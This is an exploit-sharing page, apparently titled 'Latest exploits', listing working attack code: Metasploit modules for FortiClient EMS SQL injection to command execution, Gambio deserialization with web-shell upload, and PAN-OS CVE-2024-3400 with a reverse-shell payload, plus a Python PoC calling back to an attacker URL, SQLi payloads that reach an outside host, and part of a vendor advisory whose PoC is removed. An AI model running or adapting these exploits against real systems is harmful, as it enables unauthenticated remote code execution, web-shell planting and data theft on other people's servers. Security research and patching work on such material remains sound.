Latest exploits :: CodePwn

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Tcp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE', 'Description' => %q{ An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which can be sent directly into database queries. FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM Affected versions of FortiClient EMS include: 7.2.0 through 7.2.2 7.0.1 through 7.0.10 Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available. }, 'Author' => [ 'Zach Hanley', # Analysis & PoC 'James Horseman', # Analysis & PoC 'jheysel-r7', # Msf module 'Spencer McIntyre' # Msf module assistance ], 'References' => [ [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'], [ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'], [ 'CVE', '2023-48788'] ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Privileged' => true, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-04-21', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8013 }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) end def get_register_info register_info = <<~REGISTER_INFO AVSIG_VER=1.00000 REG_KEY=_ EP_ONNETCHKSUM=0 AVENG_VER=6.00266 DHCP_SERVER=None FCTOS=WIN64 VULSIG_VER=1.00000 FCTVER=7.0.7.0345 APPSIG_VER=13.00364 USER=Administrator APPENG_VER=4.00082 AVALSIG_VER=0.00000 VULENG_VER=2.00032 OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763) COM_MODEL=VMware Virtual Platform RSENG_VER=1.00020 AV_PROTECTED=0 AVALENG_VER=0.00000 PEER_IP= ENABLED_FEATURE_BITMAP=49 EP_OFFNETCHKSUM=0 INSTALLED_FEATURE_BITMAP=158583 EP_CHKSUM=0 HIDDEN_FEATURE_BITMAP=155943 DISKENC= HOSTNAME=CYBER-RETQB1FLP AV_PRODUCT= FCT_SN=FCT8001638848651 INSTALLUID=#{Faker::Internet.uuid.upcase} NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0 UTC=1710271774 PC_DOMAIN= COM_MAN=VMware, Inc. CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz MEM=12287 HDD=99 COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82 DOMAIN= WORKGROUP=WORKGROUP USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500 GROUP_TAG= ADGUID= EP_FGTCHKSUM=0 EP_RULECHKSUM=0 WF_FILESCHKSUM=0 EP_APPCTRLCHKSUM=0 REGISTER_INFO Rex::Text.encode_base64(register_info) end def get_message(sqli) message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n" message << "IP=127.0.0.1\n" message << "MAC=#{Faker::Internet.mac_address}\n" message << "FCT_ONNET=0\n" message << "CAPS=32767\n" message << "VDOM=default\n" message << "EC_QUARANTINED=0\n" message << "SIZE= {SIZE_PLACEHOLDER}\n" message << "\n" message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n" message << 'X-FCCK-REGISTER-END' message << "\r\n" message << "\r\n" message.gsub!('{SQLI_PLACEHOLDER}', sqli) message_length = message.length message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s) message end def send_message(sqli) message = get_message(sqli) vprint_status("Sending the following message: #{message}") buf = '' begin connect(true, { 'SSL' => true }) sock.put(message) buf = sock.get_once || '' rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") ensure disconnect end vprint_status("The response received was: #{buf}") buf end def check res = send_message("' OR 1=1; --") return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL') return CheckCode::Safe if res.include?("The FCT record doesn't exist") CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted") end def exploit # Things to note: # 1. xp_cmdshell is disabled by default so first we must enable it. # 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing # attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL # before running the command with xp_command shell. # 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which # is when we expect the response to be empty. inject = [ "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--", "' OR 1=1; reconfigure;--", "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--", "' OR 1=1; reconfigure;--", "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--", ] inject.each do |sqli| if sqli == inject.last send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') else send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') end end end end </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability', 'Description' => %q{ A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request. The identified vulnerability within Gambio pertains to an insecure deserialization flaw, which ultimately allows an attacker to execute remote code on affected systems. The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems. As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor 'usd Herolab' # Discovery of the vulnerability ], 'References' => [ ['CVE', '2024-23759'], ['URL', 'https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759'], ['URL', 'https://herolab.usd.de/en/security-advisories/usd-2023-0046/'] ], 'DisclosureDate' => '2024-01-19', 'Platform' => ['php', 'unix', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => false, 'Targets' => [ [ 'PHP', { 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Type' => :php } ], [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'], 'Linemax' => 16384 } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The Gambia Webshop endpoint URL', '/' ]), OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]), OptEnum.new('COMMAND', [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) ]) end def execute_php(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, @webshell_name), 'vars_post' => { @post_param => payload } }) end def execute_command(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) php_cmd_function = datastore['COMMAND'] send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, @webshell_name), 'vars_get' => { @get_param => php_cmd_function }, 'vars_post' => { @post_param => payload } }) end def upload_webshell # randomize file name if option WEBSHELL is not set @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php") # randomize e-mail address, firstname and lastname to be used in payload and POST requests email = Rex::Text.rand_mail_address email_array = email.split('@') domain = email_array[1] firstname = email_array[0].split('.')[0] lastname = email_array[0].split('.')[1] hostname = Rex::Text.rand_hostname # Upload webshell with PHP payload @post_param = Rex::Text.rand_text_alphanumeric(1..8) @get_param = Rex::Text.rand_text_alphanumeric(1..8) if target['Type'] == :php php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>" else php_payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>" end php_payload_len = php_payload.length webshell_name_len = @webshell_name.length domain_len = domain.length hostname_len = hostname.length final_payload = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:#{php_payload_len}:\"#{php_payload}\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:#{hostname_len}:\"#{hostname}\";s:6:\"Domain\";s:#{domain_len}:\"#{domain}\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode\";N;s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";s:#{webshell_name_len}:\"#{@webshell_name}\";s:52:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies\";b:1;}" final_payload_b64 = Base64.strict_encode64(final_payload) # create guest user to get a valid session cookie # country variable should match with a configured tax country in the gambio admin panel # grab the available tax country code settings from the CreateGuest form page res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest') }) if res && res.code == 200 html = res.get_html_document unless html.blank? country_tax_options = html.css('select[@id="country"]') country_tax_options.css('option').each do |country| vprint_status("Application's tax country code setting required for exploitation: #{country['value']}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest/Proceed'), 'keep_cookies' => true, 'vars_post' => { 'firstname' => firstname, 'lastname' => lastname, 'email_address' => email, 'email_address_confirm' => email, 'b2b_status' => 0, 'company' => nil, 'vat' => nil, 'street_address' => Rex::Text.rand_text_alpha_lower(8..12), 'postcode' => Rex::Text.rand_text_numeric(5), 'city' => Rex::Text.rand_text_alpha_lower(4..12), 'country' => country['value'], 'telephone' => Rex::Text.rand_text_numeric(10), 'fax' => nil, 'action' => 'process' } }) next unless res && res.code == 302 res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'shop.php?do=Parcelshopfinder/AddAddressBookEntry'), 'keep_cookies' => true, 'vars_post' => { 'checkout_started' => 0, 'search' => final_payload_b64, 'street_address' => Rex::Text.rand_text_alpha_lower(4..12), 'house_number' => Rex::Text.rand_text_numeric(1..2), 'additional_info' => nil, 'postcode' => Rex::Text.rand_text_numeric(5), 'city' => Rex::Text.rand_text_alpha_lower(8..12), 'country' => 'DE', 'firstname' => firstname, 'lastname' => lastname, 'postnumber' => Rex::Text.rand_text_numeric(6), 'psf_name' => Rex::Text.rand_text_alpha_lower(1..3) } }) break end end end res end def check print_status("Checking if #{peer} can be exploited.") res = send_request_cgi!({ 'method' => 'GET', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path) }) return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 # Check if target is running a Gambio webshop # Search for "Gambio" on the login page return CheckCode::Safe unless res.body.include?('gambio') CheckCode::Detected('It looks like Gambio Webshop is running.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") res = upload_webshell fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 500 register_file_for_cleanup(@webshell_name) case target['Type'] when :php execute_php(payload.encoded) when :unix_cmd execute_command(payload.encoded) when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that allow an unauthenticated attacker to create arbitrarily named files and execute shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or GlobalProtect Portal enabled and telemetry collection on (default). Affected versions include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1, < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to one hour to execute, depending on how often the telemetry service is set to run. }, 'License' => MSF_LICENSE, 'Author' => [ 'remmons-r7', # Metasploit module 'sfewer-r7' # Metasploit module ], 'References' => [ ['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier ['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory ['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation ['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis ], 'DisclosureDate' => '2024-04-12', 'Platform' => [ 'linux', 'unix' ], 'Arch' => [ARCH_CMD], 'Privileged' => true, # Executes as root on Linux 'Targets' => [ [ 'Default', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', 'RPORT' => 443, 'SSL' => true, 'FETCH_WRITABLE_DIR' => '/var/tmp', 'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, # The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created # The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log # Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests # The "device_telemetry_*.log" files in /var/log/pan will log the command being injected ARTIFACTS_ON_DISK # Several 0 length files are created in the following directories during checks and exploitation: # - /opt/panlogs/tmp/device_telemetry/hour/ # - /opt/panlogs/tmp/device_telemetry/minute/ # - /var/appweb/sslvpndocs/global-protect/portal/fonts/ ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']), ] ) end def check # Try to create a new empty file in an accessible directory with the exploit primitive # This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2" touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}") # Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively res_check_created = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name) ) return CheckCode::Unknown('Connection failed') unless res_check_created res_check_not_created = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}") ) return CheckCode::Unknown('Connection failed') unless res_check_not_created if (res_check_created.code != 403) || (res_check_not_created.code != 404) return CheckCode::Safe('Arbitrary file write did not succeed') end CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted") end def touch_file(file) # Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';' send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'headers' => { 'Cookie' => "SESSID=./../../../..#{file}" } ) end def exploit # Encode the shell command payload as base64, then embed it in the appropriate exploitation context # Since payloads cannot contain spaces, ${IFS} is used as a separator cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-" # Create maliciously named files in both telemetry directories that might be used by affected versions # Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'. # It's possible that the payload will execute twice, but we've only observed one location working during testing files = [ "/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`", "/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`" ] files.each do |file_path| vprint_status("Creating file at #{file_path}") touch_file(file_path) # Must register for clean up here instead of within touch_file, since touch_file is used in the check register_file_for_cleanup(file_path) end print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload') print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled') end end </code></pre>

<pre><code># Exploit Title: Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation # Date: 21 Apr 2024 # Exploit Author: Kr0ff # Vendor Homepage: https://security.paloaltonetworks.com/CVE-2024-3400 # Software Link: - # Version: PAN-OS 11.1 < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3 # PAN-OS 11.0 < 11.0.0-h3, < 11.0.1-h4, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1 # PAN-OS 10.2 < 10.2.0-h3, < 10.2.1-h2, < 10.2.2-h5, < 10.2.3-h13, < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 # Tested on: Debian # CVE : CVE-2024-3400 #!/usr/bin/env python3 import sys try: import argparse import requests except ImportError: print("Missing dependencies, either requests or argparse not installed") sys.exit(2) # https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis # https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ def check_vuln(target: str, file: str) -> bool: ret = False uri = "/ssl-vpn/hipreport.esp" s = requests.Session() r = "" headers = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0 "Content-Type": "application/x-www-form-urlencoded", "Cookie": \ f"SESSID=../../../var/appweb/sslvpndocs/global-protect/portal/images/{file}" } headers_noCookie = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" # Windows 10 Chrome 118.0.0.0 } if not "http://" or not "https://" in target: target = "http://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTP\" !{e}") print("Trying with \"HTTPS\"...") target = "https://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTPS\"") sys.exit(1) else: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) if r.status_code == 200: r = s.get( (target + f"/global-protect/portal/images/{file}"), verify=False, headers=headers_noCookie, timeout=10 ) if r.status_code == 403: print("Target vulnerable to CVE-2024-3400") ret = True else: return ret return ret def cmdexec(target: str, callback_url: str, payload: str) -> bool: ret = False p = "" if " " in payload: p = payload.replace(" ", "${IFS)") uri = "/ssl-vpn/hipreport.esp" headers = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0 "Content-Type": "application/x-www-form-urlencoded", "Cookie": \ f"SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/attack782`{callback_url}?r=$({payload})`" } s = requests.Session() r = "" if not "http://" or not "https://" in target: target = "http://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTP\" !{e}") print("Trying with \"HTTPS\"...") target = "https://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTPS\"") sys.exit(1) else: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) if not "Success" in r.text: return ret else: ret = True return ret #Initilize parser for arguments def argparser(selection=None): parser = argparse.ArgumentParser( description='CVE-2024-3400 - Palo Alto OS Command Injection' ) subparser = parser.add_subparsers( help="Available modules", dest="module") exploit_subp = subparser.add_parser( "exploit", help="Exploit module of script") exploit_subp.add_argument( "-t", "--target",help="Target to send payload to", required=True ) exploit_subp.add_argument( "-p", "--payload", help="Payload to send (e.g: whoami)", required=True ) exploit_subp.add_argument( "-c", "--callbackurl", help="The callback url such as burp collaborator or similar", required=True ) #--------------------------------------- check_subp = subparser.add_parser( "check", help="Vulnerability check module of script" ) check_subp.add_argument( "-t", "--target", help="Target to check if vulnerable", required=True ) check_subp.add_argument( "-f", "--filename", help="Filename of the payload (e.g \"exploitCheck.exp\"", required=True ) args = parser.parse_args(selection) args = parser.parse_args(args=None if sys.argv[1:] else ["-h"]) if args.module == "exploit": cmdexec(args.target, args.callbackurl, args.payload) if args.module == "check": check_vuln(args.target, args.filename) if __name__ == "__main__": argparser() print("Finished !") </code></pre>

<pre><code>## Titles: LRMS-PHP-by-oretnom23-v1.0 hat-trick 1. Multiple-SQLi 2. File Upload 3. SQLi Bypass Authentication: ## Latest update from the vendor: 5 hours 32 minutes ago ## Author: nu11secur1ty ## Date: 04/17/2024 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html ## Reference: https://portswigger.net/web-security/sql-injection, https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/authentication ## Description: SQLi: The id parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.stupid.com\\fsb'))+' was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.The attacker can get all information from the system by using this vulnerability! STATUS: HIGH- Vulnerability --------------------------------------------------------------------------------------------------------------------------------------- FU: Using this vulnerability, the attacker can upload any PHP file on the server. The parameter id="cimg" is not sanitizing securely. STATUS: CRITICAL- Vulnerability --------------------------------------------------------------------------------------------------------------------------------------- SQLi-Bypass-Authentication: The attacker can bypass the admin login form and login to the system by using this vulnerability. The parameter username is not sanitized securely. STATUS: CRITICAL- Vulnerability [+]Exploits: - SQLi Multiple: ```mysql --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+'' OR NOT 5694=5694 AND 'FJxl'='FJxl Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+'' OR (SELECT 7377 FROM(SELECT COUNT(*),CONCAT(0x7178787a71,(SELECT (ELT(7377=7377,1))),0x7176787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'GMnz'='GMnz Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+'' AND (SELECT 4559 FROM (SELECT(SLEEP(7)))zROX) AND 'HxzI'='HxzI --- ``` - FU: ``` <?php phpinfo(); ?> ``` - SQLi - Bypass-Authentication: ``` username: nu11secur1ty' or 1=1# password: blank ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/%20hat-trick/LRMS-PHP-by-oretnom23-v1.0) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/04/lrms-php-by-oretnom23-v10-hat-trick.html) ## Time spent: 01:35:00 </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240418-0 > ======================================================================= title: Broken authorization product: Dreamehome app vulnerable version: <=2.1.5 (iOS) fixed version: none, see solution CVE number: - impact: medium homepage: https://www.dreametech.com found: 2024-01-17 by: Alissa Kim (Office Bochum) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "We've emerged as one of the leading brands in smart home cleaning with our 4 major product lines: robotic vacuums and mops, cordless stick vacuums, wet and dry vacuums, and high-speed hair dryers. Each product is meticulously designed to redefine convenience in household innovation and improve our users' homes." Source: https://www.dreametech.com/pages/about-us Business recommendation: ------------------------ The vendor was unresponsive/uncooperative during multiple months of trying to establish a security contact and to send them our findings. There is no patch/ solution available. Try to contact your local support team and request a patch for this issue. Stay up-to-date with firmware and app installations and be vigilant. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Broken authorization An owner of the robot vacuum cleaner device can share it with other users via the app. The privileges of the shared users are very limited. It is not possible to interact with photos and videos from within the mobile application, but it was identified that it is possible to delete and list all images/videos of the main account and even download the encrypted images/videos by sending the requests with the JWT of the shared user. The encryption was not reverse-engineered but it could potentially be possible for unauthorized users to gain access to sensitive imaging data. Proof of concept: ----------------- 1) Broken authorization To exploit the vulnerability it is sufficient to follow these steps: 1. Connect a robot vacuum cleaner to the Dreamehome app (in our case the device "Dreame L10S ultra" was used). 2. Take a photo and video with the Dreamehome app using the connected device. 3. Share the robot vacuum cleaner with another user. 4. The "shared user" can list the photos using the following curl command: (It is necessary to set the "did" of the device) [ POC removed] 5. The "shared user" can list the videos using the following curl command: [POC removed] 6. The response with the list of photos/videos contains an "id" parameter. Knowing this "id" parameter, a shared user can delete the photos/videos using the value of "id" in the "ossIds" parameter using the following command: [POC removed] 7. Furthermore, the responses with the list of photos/videos contains a "filepath" parameter with the URL to the encrypted photo/video. Any user even without a valid JWT token can download the encrypted photo/video using this URL. The encryption was not reverse-engineered but it could potentially be possible for unauthorized users to gain access to sensitive imaging data. Vulnerable / tested versions: ----------------------------- The following versions have been tested which were the latest version available at the time of the test: * Dreamehome app 2.1.0 (tested with Dreame L10S ultra device) * Dreamehome app 2.1.5 was tested later on 2024-04-12 and found to be vulnerable as well. It is assumed, that other platforms (Google Android) are affected as well. Vendor contact timeline: ------------------------ 2024-01-24: Contacting vendor through support.us@dreame.tech; aftersales@dreame.tech 2024-02-05: Contacting vendor through support.us@dreame.tech; aftersales@dreame.tech 2024-02-06: Answer from vendor ticket system (#82462919) to contact marketing@dreame.tech 2024-02-06: Contacting vendor through marketing@dreame.tech, no response. 2024-02-12: Contacting vendor through marketing@dreame.tech, no response. 2024-03-04: Contacting vendor through marketing@dreame.tech, no response. 2024-04-11: Sending final email to support.us@dreame.tech; aftersales@dreame.tech and 